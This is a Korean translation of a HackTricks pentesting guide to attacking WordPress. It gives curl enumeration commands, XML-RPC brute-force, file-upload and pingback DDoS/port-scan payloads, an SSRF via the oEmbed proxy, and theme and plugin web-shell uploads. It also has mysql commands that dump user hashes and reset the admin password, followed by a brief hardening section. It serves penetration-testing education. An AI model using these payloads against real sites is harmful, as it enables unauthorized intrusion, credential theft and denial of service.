hacktricks/network-services-pentesting/pentesting-web/wordpress.md

21 KiB

워드프레스

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

기본 정보

업로드된 파일은 여기로 이동합니다: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
테마 파일은 /wp-content/themes/에 있으므로 테마의 일부 php를 변경하여 RCE를 얻으려면 해당 경로를 사용할 수 있습니다. 예를 들어: twentytwelve 테마를 사용하여 404.php 파일에 액세스할 수 있습니다: /wp-content/themes/twentytwelve/404.php
다른 유용한 URL은: /wp-content/themes/default/404.php

wp-config.php에서 데이터베이스의 루트 암호를 찾을 수 있습니다.

확인할 기본 로그인 경로: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

주요 워드프레스 파일

  • index.php
  • license.txt에는 설치된 워드프레스 버전과 같은 유용한 정보가 포함되어 있습니다.
  • wp-activate.php는 새로운 워드프레스 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
  • 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php는 WordPress의 기능을 나타내는 파일로, HTTP를 전송 메커니즘으로 사용하고 인코딩 메커니즘으로 XML을 사용합니다. 이러한 유형의 통신은 WordPress REST API에 의해 대체되었습니다.
  • wp-content 폴더는 플러그인 및 테마가 저장되는 주요 디렉토리입니다.
  • wp-content/uploads/는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
  • wp-includes/는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 코어 파일이 저장되는 디렉토리입니다.
  • wp-sitemap.xml은 워드프레스 버전 5.5 이상에서 Worpress가 모든 공개 게시물 및 공개 쿼리 가능한 게시 유형 및 분류에 대한 사이트맵 XML 파일을 생성합니다.

포스트 익스플로잇레이션

  • wp-config.php 파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 정보인 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 암호, 인증 키 및 솔트, 데이터베이스 테이블 접두사가 포함되어 있습니다. 이 구성 파일은 문제 해결에 유용한 DEBUG 모드를 활성화하는 데도 사용할 수 있습니다.

사용자 권한

  • 관리자
  • 편집자: 자신과 다른 사람의 게시물을 게시하고 관리합니다.
  • 작가: 자신의 게시물을 게시하고 관리합니다.
  • 기고자: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
  • 구독자: 게시물을 둘러보고 프로필을 편집할 수 있습니다.

수동 열거

워드프레스 버전 확인

/license.txt 또는 /readme.html 파일을 찾을 수 있는지 확인하세요.

페이지의 소스 코드(예: https://wordpress.org/support/article/pages/) 내에서:

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS 링크 파일

  • JavaScript 파일

플러그인 가져오기

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

테마 가져오기

{% 코드 오버플로우="랩" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

일반적으로 버전 추출

{% endcode %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

활성 열거

플러그인 및 테마

아마도 모든 플러그인 및 테마를 찾을 수는 없을 것입니다. 모든 것을 발견하려면 플러그인 및 테마 목록을 적극적으로 브루트 포스해야 합니다 (다행히도 이 목록을 포함하는 자동화된 도구가 있습니다).

사용자

ID 브루트

WordPress 사이트에서 유효한 사용자를 얻으려면 사용자 ID를 브루트 포스해야 합니다:

curl -s -I -X GET http://blog.example.com/?author=1

만약 응답이 200 또는 30X이면, 해당 id가 유효하다는 것을 의미합니다. 응답이 400이면, id가 유효하지 않습니다.

wp-json

사용자 정보를 쿼리하여 얻을 수도 있습니다.

curl http://blog.example.com/wp-json/wp/v2/users

다른 사용자에 관한 정보를 공개할 수 있는 /wp-json/ 엔드포인트는 다음과 같습니다:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

이 엔드포인트는 게시물을 작성한 사용자만 노출됩니다. 이 기능을 활성화한 사용자에 대한 정보만 제공됩니다.

또한 /wp-json/wp/v2/pages에서 IP 주소가 노출될 수 있습니다.

로그인 사용자 이름 열거

**/wp-login.php**에 로그인할 때 메시지지정된 사용자 이름이 존재하는지 여부에 따라 다릅니다.

XML-RPC

xml-rpc.php가 활성화되어 있으면 자격 증명 브루트 포스를 수행하거나 다른 리소스로 DoS 공격을 실행할 수 있습니다. (예를 들어 여기를 사용하여이 프로세스를 자동화 할 수 있습니다).

활성화되어 있는지 확인하려면 _/xmlrpc.php_에 액세스하고 이 요청을 보냅니다:

확인

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

자격 증명 브루트포스

wp.getUserBlogs, wp.getCategories 또는 **metaWeblog.getUsersBlogs**는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같이 보낼 수 있습니다:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

200 코드 응답 내부에 있는 메시지 _"잘못된 사용자 이름 또는 비밀번호"_은 자격 증명이 유효하지 않을 때 나타납니다.

올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

또한 **system.multicall**을 사용하여 여러 자격 증명을 동시에 시도할 수 있기 때문에 자격 증명을 빠르게 브루트 포스할 수 있는 보다 빠른 방법이 있습니다:

2FA 우회

이 방법은 프로그램을 위한 것이며 사람을 위한 것이 아니며 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명을 가지고 있지만 본 입구가 2FA로 보호되어 있다면, xmlrpc.php를 남용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을 수도 있습니다. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명한 대로 RCE에 도달할 수도 있습니다.

DDoS 또는 포트 스캔

목록 내에서 pingback.ping 메서드를 찾을 수 있다면, Wordpress에 임의의 요청을 보내도록 할 수 있습니다.
이를 사용하여 수천 개의 Wordpress 사이트가 한 위치액세스하도록 요청하거나, Wordpress가 일부 내부 네트워크스캔하도록 만들 수 있습니다(임의의 포트를 지정할 수 있음).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

만약 faultCode 값이 0 (17)보다 경우, 해당 포트가 열려 있다는 것을 의미합니다.

**system.multicall**의 사용법을 살펴보고, 이 방법을 악용하여 DDoS를 유발하는 방법을 배워보세요.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

이 파일은 일반적으로 워드프레스 사이트의 루트 아래에 존재합니다: /wp-cron.php
이 파일에 액세스하면 "무거운" MySQL 쿼리가 수행되므로, 공격자DoS발생시키는 데 사용할 수 있습니다.
또한 기본적으로 wp-cron.php은 모든 페이지 로드(클라이언트가 워드프레스 페이지를 요청할 때마다)에서 호출되며, 고트래픽 사이트에서 문제를 일으킬 수 있습니다 (DoS).

Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cronjob을 생성하는 것이 권장됩니다.

/wp-json/oembed/1.0/proxy - SSRF

_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 액세스를 시도하면 워드프레스 사이트가 요청을 보낼 수 있습니다.

작동하지 않을 때의 응답은 다음과 같습니다:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

이 도구는 methodName: pingback.ping을 확인하고 /wp-json/oembed/1.0/proxy 경로를 찾아 존재하는 경우 이를 악용하려고 시도합니다.

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

비트를 덮어쓰기로 액세스 얻기

실제 공격보다는 호기심입니다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서는 워드프레스 파일에서 1 비트를 뒤집을 수 있습니다. 따라서 파일 /var/www/html/wp-includes/user.php의 위치 5389를 뒤집어서 NOT (!) 연산을 NOP로 만들 수 있습니다.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

패널 RCE

사용된 테마의 php 수정 (관리자 자격 증명 필요)

외관 → 테마 편집기 → 404 템플플릿 (오른쪽에 위치)

php 쉘을 위한 내용 변경:

인터넷에서 어떻게 해당 업데이트된 페이지에 액세스할 수 있는지 검색하.

이 경우 여기로 액세스해: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

다음을 사용할 수 있습니다:

use exploit/unix/webapp/wp_admin_shell_upload

플러그인 RCE

PHP 플러그인

플러그인으로 .php 파일을 업로드할 수 있습니다.
예를 들어 다음과 같이 php 백도어를 만듭니다:

그런 다음 새 플러그인을 추가합니다:

플러그인을 업로드하고 지금 설치를 누릅니다:

Procced를 클릭합니다:

아마도 이것은 외관상 아무것도 하지 않을 것입니다. 그러나 미디어로 이동하면 업로드된 쉘을 볼 수 있습니다:

액세스하면 역술을 실행할 URL을 볼 수 있습니다:

악성 플러그인 업로드 및 활성화

이 방법은 취약하다고 알려진 악성 플러그인을 설치하고 웹 쉘을 얻기 위해 악용할 수 있는 방법입니다. 이 프로세스는 다음과 같이 WordPress 대시보드를 통해 수행됩니다:

  1. 플러그인 획득: 플러그인은 여기와 같은 Exploit DB와 같은 소스에서 얻습니다.
  2. 플러그인 설치:
  • WordPress 대시보드로 이동한 다음 대시보드 > 플러그인 > 플러그인 업로드로 이동합니다.
  • 다운로드한 플러그인의 zip 파일을 업로드합니다.
  1. 플러그인 활성화: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
  2. 악용:
  • "reflex-gallery" 플러그인이 설치되고 활성화된 경우 취약점을 악용할 수 있습니다.
  • Metasploit 프레임워크는 이 취약점에 대한 악용을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 meterpreter 세션을 설정하여 사이트에 무단 액세스를 부여할 수 있습니다.
  • WordPress 사이트를 악용하는 다양한 방법 중 하나임을 언급합니다.

콘텐츠에는 WordPress 대시보드에서 플러그인을 설치하고 활성화하는 단계를 보여주는 시각적 지원이 포함되어 있습니다. 그러나 이러한 취약점을 악용하는 것은 적절한 승인 없이는 불법이며 윤리적이지 않습니다. 이 정보는 책임 있게 사용되어야 하며 명시적인 허가를 받은 펜테스팅과 같은 법적 맥락에서만 사용되어야 합니다.

더 자세한 단계는 확인하세요: https://www.hackingarticles.in/wordpress-reverse-shell/**

사후 악용

사용자 이름과 비밀번호 추출:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

비밀번호 변경:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

워드프레스 보호

정기적인 업데이트

워드프레스, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

또한 신뢰할 수 있는 워드프레스 플러그인과 테마만 설치하십시오.

보안 플러그인

기타 권장 사항

  • 기본 admin 사용자 제거
  • 강력한 암호2단계 인증 사용
  • 주기적으로 사용자 권한 검토
  • 브루트 포스 공격 방지를 위해 로그인 시도 제한
  • wp-admin.php 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 액세스 허용


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우 자동화를 쉽게 구축하십시오.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: